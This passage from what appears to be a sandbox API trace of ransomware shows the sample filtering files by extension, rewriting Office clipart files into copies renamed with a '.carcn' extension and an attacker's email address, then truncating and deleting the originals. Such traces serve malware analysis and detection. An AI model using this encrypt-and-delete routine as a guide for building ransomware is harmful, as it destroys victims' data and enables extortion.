[0262.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.089] lstrlenW (lpString=".jpg") returned 4 [0262.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.089] lstrlenW (lpString=".doc") returned 4 [0262.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString=".docx") returned 5 [0262.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.089] lstrlenW (lpString=".pdf") returned 4 [0262.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString=".xls") returned 4 [0262.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.089] lstrlenW (lpString=".xlsx") returned 5 [0262.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.089] lstrlenW (lpString=".ppt") returned 4 [0262.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.089] lstrlenW (lpString=".zip") returned 4 [0262.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.089] lstrlenW (lpString=".rar") returned 4 [0262.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString=".bz2") returned 4 [0262.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.090] lstrlenW (lpString=".7z") returned 3 [0262.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.090] lstrlenW (lpString=".dbf") returned 4 [0262.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.090] lstrlenW (lpString=".1cd") returned 4 [0262.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0262.090] lstrlenW (lpString=".jpg") returned 4 [0262.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.090] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.090] lstrlenW (lpString="AN01216_.WMF") returned 12 [0262.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.090] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=5836) returned 1 [0262.091] CloseHandle (hObject=0x528) returned 1 [0262.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0262.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.091] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.091] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0262.092] GetLastError () returned 0x0 [0262.092] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x16cc, lpOverlapped=0x0) returned 1 [0262.194] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0262.196] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.196] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.197] SetEndOfFile (hFile=0x530) returned 1 [0262.197] CloseHandle (hObject=0x530) returned 1 [0262.198] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.198] SetEndOfFile (hFile=0x528) returned 1 [0262.200] CloseHandle (hObject=0x528) returned 1 [0262.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0262.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.202] lstrlenW (lpString=".doc") returned 4 [0262.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.202] lstrlenW (lpString=".docx") returned 5 [0262.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.202] lstrlenW (lpString=".pdf") returned 4 [0262.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.202] lstrlenW (lpString=".xls") returned 4 [0262.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.202] lstrlenW (lpString=".xlsx") returned 5 [0262.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.202] lstrlenW (lpString=".ppt") returned 4 [0262.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.202] lstrlenW (lpString=".zip") returned 4 [0262.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.202] lstrlenW (lpString=".rar") returned 4 [0262.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.203] lstrlenW (lpString=".bz2") returned 4 [0262.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.203] lstrlenW (lpString=".7z") returned 3 [0262.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.203] lstrlenW (lpString=".dbf") returned 4 [0262.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.203] lstrlenW (lpString=".1cd") returned 4 [0262.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.203] lstrlenW (lpString=".jpg") returned 4 [0262.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.203] lstrlenW (lpString=".doc") returned 4 [0262.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.203] lstrlenW (lpString=".docx") returned 5 [0262.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.203] lstrlenW (lpString=".pdf") returned 4 [0262.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.203] lstrlenW (lpString=".xls") returned 4 [0262.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.203] lstrlenW (lpString=".xlsx") returned 5 [0262.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.204] lstrlenW (lpString=".ppt") returned 4 [0262.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.204] lstrlenW (lpString=".zip") returned 4 [0262.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.204] lstrlenW (lpString=".rar") returned 4 [0262.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.204] lstrlenW (lpString=".bz2") returned 4 [0262.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.204] lstrlenW (lpString=".7z") returned 3 [0262.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.204] lstrlenW (lpString=".dbf") returned 4 [0262.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.204] lstrlenW (lpString=".1cd") returned 4 [0262.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0262.204] lstrlenW (lpString=".jpg") returned 4 [0262.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.204] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.205] lstrlenW (lpString="AN01545_.WMF") returned 12 [0262.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.205] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=7372) returned 1 [0262.205] CloseHandle (hObject=0x528) returned 1 [0262.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0262.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.206] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.206] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0262.243] GetLastError () returned 0x0 [0262.243] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0262.255] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0262.255] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.255] WriteFile (in: hFile=0x530, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.256] SetEndOfFile (hFile=0x530) returned 1 [0262.256] CloseHandle (hObject=0x530) returned 1 [0262.260] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.260] SetEndOfFile (hFile=0x528) returned 1 [0262.263] CloseHandle (hObject=0x528) returned 1 [0262.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0262.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.264] lstrlenW (lpString=".doc") returned 4 [0262.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.264] lstrlenW (lpString=".docx") returned 5 [0262.264] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.264] lstrlenW (lpString=".pdf") returned 4 [0262.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.264] lstrlenW (lpString=".xls") returned 4 [0262.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.265] lstrlenW (lpString=".xlsx") returned 5 [0262.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.265] lstrlenW (lpString=".ppt") returned 4 [0262.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.265] lstrlenW (lpString=".zip") returned 4 [0262.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.265] lstrlenW (lpString=".rar") returned 4 [0262.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.265] lstrlenW (lpString=".bz2") returned 4 [0262.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.265] lstrlenW (lpString=".7z") returned 3 [0262.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.265] lstrlenW (lpString=".dbf") returned 4 [0262.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.265] lstrlenW (lpString=".1cd") returned 4 [0262.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.265] lstrlenW (lpString=".jpg") returned 4 [0262.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.266] lstrlenW (lpString=".doc") returned 4 [0262.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.266] lstrlenW (lpString=".docx") returned 5 [0262.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.266] lstrlenW (lpString=".pdf") returned 4 [0262.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.266] lstrlenW (lpString=".xls") returned 4 [0262.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.266] lstrlenW (lpString=".xlsx") returned 5 [0262.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.266] lstrlenW (lpString=".ppt") returned 4 [0262.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.266] lstrlenW (lpString=".zip") returned 4 [0262.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.266] lstrlenW (lpString=".rar") returned 4 [0262.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.266] lstrlenW (lpString=".bz2") returned 4 [0262.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.266] lstrlenW (lpString=".7z") returned 3 [0262.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.266] lstrlenW (lpString=".dbf") returned 4 [0262.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.266] lstrlenW (lpString=".1cd") returned 4 [0262.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0262.267] lstrlenW (lpString=".jpg") returned 4 [0262.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.267] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.267] lstrlenW (lpString="AN02559_.WMF") returned 12 [0262.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0262.531] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=6632) returned 1 [0262.531] CloseHandle (hObject=0x558) returned 1 [0262.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0262.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0262.532] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.532] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.533] GetLastError () returned 0x0 [0262.533] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0262.552] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0262.553] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.553] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.553] SetEndOfFile (hFile=0x548) returned 1 [0262.553] CloseHandle (hObject=0x548) returned 1 [0262.554] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.554] SetEndOfFile (hFile=0x558) returned 1 [0262.558] CloseHandle (hObject=0x558) returned 1 [0262.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0262.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.559] lstrlenW (lpString=".doc") returned 4 [0262.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.559] lstrlenW (lpString=".docx") returned 5 [0262.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.559] lstrlenW (lpString=".pdf") returned 4 [0262.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.559] lstrlenW (lpString=".xls") returned 4 [0262.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.559] lstrlenW (lpString=".xlsx") returned 5 [0262.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.559] lstrlenW (lpString=".ppt") returned 4 [0262.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.559] lstrlenW (lpString=".zip") returned 4 [0262.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.560] lstrlenW (lpString=".rar") returned 4 [0262.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.560] lstrlenW (lpString=".bz2") returned 4 [0262.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.560] lstrlenW (lpString=".7z") returned 3 [0262.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.560] lstrlenW (lpString=".dbf") returned 4 [0262.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.560] lstrlenW (lpString=".1cd") returned 4 [0262.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.560] lstrlenW (lpString=".jpg") returned 4 [0262.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.560] lstrlenW 